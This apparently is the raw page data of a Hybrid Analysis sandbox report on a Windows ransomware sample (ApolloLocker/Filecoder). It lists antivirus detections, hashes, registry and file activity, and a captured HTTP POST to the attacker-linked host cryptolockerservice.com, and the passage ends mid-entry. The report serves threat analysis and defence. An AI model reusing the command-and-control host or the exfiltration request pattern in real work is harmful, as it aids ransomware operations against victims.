24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 29:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4bf,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample dda8736f55cc… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample dda8736f55cc…. Malware family: Trojan.Generic. Threat score 100/100. 20/28 AV engines flagged this file. 4 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/dda8736f55ccb30bec32710fa895dc50eb6400ffa0e646f0502cc9d4afd7a8ec","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","dda8736f55ccb30bec32710fa895dc50eb6400ffa0e646f0502cc9d4afd7a8ec"],"about":{"@type":"SoftwareApplication","name":"dda8736f55ccb30bec32710fa895dc50eb6400ffa0e646f0502cc9d4afd7a8ec.bin","applicationCategory":["peexe","executable"],"identifier":"dda8736f55ccb30bec32710fa895dc50eb6400ffa0e646f0502cc9d4afd7a8ec","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":20,"total":28},"behavioralIndicators":{"malicious":4,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T70b,"" touched file "C:\Windows\Globalization\Sorting\sortdefault.nls" "" touched file "C:\Windows\system32\tzres.dll" "" touched file "C:\Windows\system32\en-US\tzres.dll.mui" "" touched file "C:\Windows\system32\rsaenh.dll" "" touched file "C:\Users\hoSiQz2\AppData\Local\Microsoft\Windows\Temporary Internet Files" "" touched file "C:\Users\hoSiQz2\AppData\Roaming\Microsoft\Windows\Cookies" "" touched file "C:\Users\hoSiQz2\AppData\Local\Microsoft\Windows\History" "" touched file "C:\Users\hoSiQz2\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat" "" touched file "C:\Users\hoSiQz2\AppData\Roaming\Microsoft\Windows\Cookies\index.dat" "" touched file "C:\Users\hoSiQz2\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat" "" touched file "C:\Windows\system32\en-US\urlmon.dll.mui" "" touched file "C:\Windows\system32\en-US\KERNELBASE.dll.mui" "" touched file "C:\Windows\System32\msxml3r.dll" "" touched file "C:\Users\hoSiQz2\AppData\Roaming\Microsoft\Windows\IETldCache\index.dat" "" touched file "C:\Users\hoSiQz2\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\7N5LGTOO\keke[1].php" "" touched file "C:\Users\hoSiQz2\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\7N5LGTOO\AA3e3XC[1].png" "" touched file "C:\Users\hoSiQz2\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\7N5LGTOO\AA3vOVA[1].png" "" touched file "C:\Users\hoSiQz2\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\7N5LGTOO\AA42ckd[1].png"26:T74d,Found dropped filename "pspubws@shopping.udn[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@filefreak[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@xiti[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@www.stumbleupon[2].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@sonymobcomm.tt.omtrdc[2].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@qip[2].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@www.lenovo[2].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@www.sony[7].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@matrixspa[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@last[2].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@www.lloydsbank[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@allcnet.gazeta[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@eloqua[2].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@www.symantec[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@c.appier[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@zappos[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@logly.co[2].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@hurriyet.com[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@kayak[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@brothersoft[1].txt" containing the Windows username "PSPUBWS"27:T706,"" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000401") "" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000402") "" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000403") "" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000404") "" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000405") "" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000406") "" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000407") "" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000408") "" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000040A") "" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000040B") "" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000040C") "" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000040D") "" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000040E") "" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000040F") "" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000410") "" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000411") "" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000412") "" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000413") "" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000414")28:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"dda8736f55ccb30bec32710fa895dc50eb6400ffa0e646f0502cc9d4afd7a8ec","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790669810026,"unified_at":"2026-09-29T08:16:50.026Z","metadata":{"hashes":{"sha256":"dda8736f55ccb30bec32710fa895dc50eb6400ffa0e646f0502cc9d4afd7a8ec","sha1":"9134d7573c0b12832789be6a3d5efa8d34a18c7e","md5":"8acaa375c2146224d628bb408c3902ff","sha512":"c7f2de1631deae79eb5e9d7e8b3147518eb363ee6422198459b33c5bf1c43be403224b4fbec078e29ce0a6493c118481adb8ae3db7f8a6b9fd30a9f0d30be06c","ssdeep":"49152:J6Dxu4OYDNMEHQ+LOBuvqguVP9OYQY0sWqdt:Mtu4OY3Q+LOuBe8YO","ssdeep_chunks":["49152:J6Dxu4O","49152:6Dxu4OY","49152:Dxu4OYD","49152:xu4OYDN","49152:u4OYDNM","49152:4OYDNME","49152:OYDNMEH","49152:YDNMEHQ","49152:DNMEHQ+","49152:NMEHQ+L","49152:MEHQ+LO","49152:EHQ+LOB","49152:HQ+LOBu","49152:Q+LOBuv","49152:+LOBuvq","49152:LOBuvqg","49152:OBuvqgu","49152:BuvqguV","49152:uvqguVP","49152:vqguVP9","49152:qguVP9O","49152:guVP9OY","49152:uVP9OYQ","49152:VP9OYQY","49152:P9OYQY0","49152:9OYQY0s","49152:OYQY0sW","49152:YQY0sWq","49152:QY0sWqd","49152:Y0sWqdt","98304:J6Dxu4O","98304:6Dxu4OY","98304:Dxu4OYD","98304:xu4OYDN","98304:u4OYDNM","98304:4OYDNME","98304:OYDNMEH","98304:YDNMEHQ","98304:DNMEHQ+","98304:NMEHQ+L","98304:MEHQ+LO","98304:EHQ+LOB","98304:HQ+LOBu","98304:Q+LOBuv","98304:+LOBuvq","98304:LOBuvqg","98304:OBuvqgu","98304:BuvqguV","98304:uvqguVP","98304:vqguVP9","98304:qguVP9O","98304:guVP9OY","98304:uVP9OYQ","98304:VP9OYQY","98304:P9OYQY0","98304:9OYQY0s","98304:OYQY0sW","98304:YQY0sWq","98304:QY0sWqd","98304:Y0sWqdt","49152:Mtu4OY3","49152:tu4OY3Q","49152:u4OY3Q+","49152:4OY3Q+L","49152:OY3Q+LO","49152:Y3Q+LOu","49152:3Q+LOuB","49152:Q+LOuBe","49152:+LOuBe8","49152:LOuBe8Y","49152:OuBe8YO"],"imphash":"ef7682627060f23ffa810ecdaa9d6248"},"file_info":{"file_name":"dda8736f55ccb30bec32710fa895dc50eb6400ffa0e646f0502cc9d4afd7a8ec.bin","file_type":["peexe","executable"],"file_type_id":"exe","file_size":3777024,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1504708925000,"last_seen":1634659051000,"last_multi_scan":1634659051000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["ransomware"]},"stats":{"av":{"malicious_count":20,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":11,"suspicious_count":15,"malicious_count":4,"total":30},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"Ahnlab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Filecoder","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.TSGeneric","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Spy.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"BitDefender","success":true,"verdict":"malicious","threat_name":"DeepScan:Generic.Ransom.ApolloLocker.B632B460","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bytehero":{"name":"ByteHero","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan-Ransom.ApolloLocker (A)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Filecoder.NNK trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"Ikarus","success":true,"verdict":"malicious","threat_name":"Trojan-Ransom.ApolloLocker","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 00515cee1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Agent.ikrw","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Ransomware-GER!8ACAA375C214","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Agent.esmmgp","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"symantec":{"name":"Symantec","success":true,"verdict":"malicious","threat_name":"Ransom.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Ransom/W32.Agent.3777024","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"TrendMicro","success":true,"verdict":"malicious","threat_name":"Ransom_APOLLO.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"TrendMicro House Call","success":true,"verdict":"malicious","threat_name":"Ransom_APOLLO.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Encoder.USW","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Trojan.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xviruspersonalguard":{"name":"Xvirus Personal Guard","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Filecoder.Win32.6153","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 45629-17053-00790760","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \".textbss\" is zero","origin":"Static Parser","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.dll at 45629-17299-0076DBB0\n GetSystemTimeAsFileTime@KERNEL32.dll at 45629-17801-00751330\n GetSystemTimeAsFileTime@KERNEL32.dll at 45629-17298-0076DC30\n GetSystemTimeAsFileTime@KERNEL32.dll at 45629-17334-0076B330","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine timezone","description":"GetTimeZoneInformation@KERNEL32.dll at 45629-15360-007F3EE0","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-48","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"cryptolockerservice.com\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"%USERPROFILE%\\documents\\visual studio 2010\\Projects\\cripto\\Debug\\Stub.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_208\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\c:!users!hosiqz2!appdata!local!microsoft!windows!temporary internet files!content.ie5!\"\n \"Local\\c:!users!hosiqz2!appdata!roaming!microsoft!windows!ietldcache!\"\n \"Local\\WininetConnectionMutex\"\n \"Local\\c:!users!hosiqz2!appdata!roaming!microsoft!windows!cookies!\"\n \"RasPbFile\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\!IETld!Mutex\"\n \"Local\\_!MSFTHISTORY!_\"\n \"Local\\WininetProxyRegistryMutex\"\n \"Local\\ZoneAttributeCacheCounterMutex\"\n \"Local\\WininetStartupMutex\"\n \"Local\\ZonesCounterMutex\"\n \"IESQMMUTEX_0_208\"\n \"Local\\c:!users!hosiqz2!appdata!local!microsoft!windows!history!history.ie5!\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!hosiqz2!appdata!roaming!microsoft!windows!cookies!\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!hosiqz2!appdata!local!microsoft!windows!history!history.ie5!\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"dH1rDN9f9.doc\" has type \"data\"\n \"6SZfLTu9z.doc\" has type \"data\"\n \"C04T72pR0Bcl.doc\" has type \"data\"\n \"2Gd1Iqvl2kr.doc\" has type \"data\"\n \"bg3oTe.doc\" has type \"data\"\n \"0zIG0D.doc\" has type \"data\"\n \"4Pmmh3HlYKPz20b.doc\" has type \"data\"\n \"F3hzum1.doc\" has type \"data\"\n \"hKY8.doc\" has type \"data\"\n \"5F1yaAIKfUGQcmmt.doc\" has type \"data\"\n \"0gakl8ixtWMkw.doc\" has type \"data\"\n \"EKeaJO.doc\" has type \"data\"\n \"FksnKO3nPLqbqw.doc\" has type \"data\"\n \"3Fbc.doc\" has type \"data\"\n \"www.ebay[1].xml\" has type \"data\"\n \"pspubws@shopping.udn[1].txt\" has type \"data\"\n \"AAn7AxU[1].jpg\" has type \"data\"\n \"M2_28_113715_03[1].png\" has type \"data\"\n \"jDJAedKZ.txt\" has type \"data\"\n \"www.allocine[1].xml\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$25","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"cryptolockerservice.com\"\n Pattern match: \"http://cryptolockerservice.com/index.php?id=\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"dda8736f55ccb30bec32710fa895dc50eb6400ffa0e646f0502cc9d4afd7a8ec.exe.bin\" was detected as \"Microsoft visual C++ 8.0\"","origin":"Static Parser","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\"\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","origin":"Registry Access","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a dropped file containing the Windows username (possible fingerprint attempt)","description":"$26","origin":"Binary File","relevance":5,"id":"binary-19","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"1/65 reputation engines marked \"http://cryptolockerservice.com/index.php\" as malicious (1% detection rate)\n 1/65 reputation engines marked \"http://cryptolockerservice.com\" as malicious (1% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"suspicious","category":"General","name":"Opened the service control manager","description":"\"\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","origin":"API Call","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"\"POST /keke.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\nHost: cryptolockerservice.com\nContent-Length: 1976\nCache-Control: no-cache\" with no payload","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"suspicious","category":"General","name":"Requested access to a system service","description":"\"\" called \"OpenService\" to access the \"rasman\" service\n \"\" called \"OpenService\" to access the \"RASMAN\" service\n \"\" called \"OpenService\" to access the \"Sens\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights","origin":"API Call","relevance":10,"id":"api-76","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"59b006a77ca3e169631bd623"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Detected indicator that file is ransomware","description":"\"cryptolockerservice.com\" (Source: dda8736f55ccb30bec32710fa895dc50eb6400ffa0e646f0502cc9d4afd7a8ec.exe.bin, Indicator: \"cryptolocker\")\n \"n Alabilirsiniz.\n 1.http://cryptolockerservice.com/index.php?id=\" (Source: dda8736f55ccb30bec32710fa895dc50eb6400ffa0e646f0502cc9d4afd7a8ec.exe.bin, Indicator: \"cryptolocker\")\n \"url=http://cryptolockerservice.com/index.php?id=\" (Source: dda8736f55ccb30bec32710fa895dc50eb6400ffa0e646f0502cc9d4afd7a8ec.exe.bin, Indicator: \"cryptolocker\")\n \"cryptolockerservice\" (Source: network.pcap, Indicator: \"cryptolocker\")\n \"POST /keke.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/4.0 (compatible; MSIE 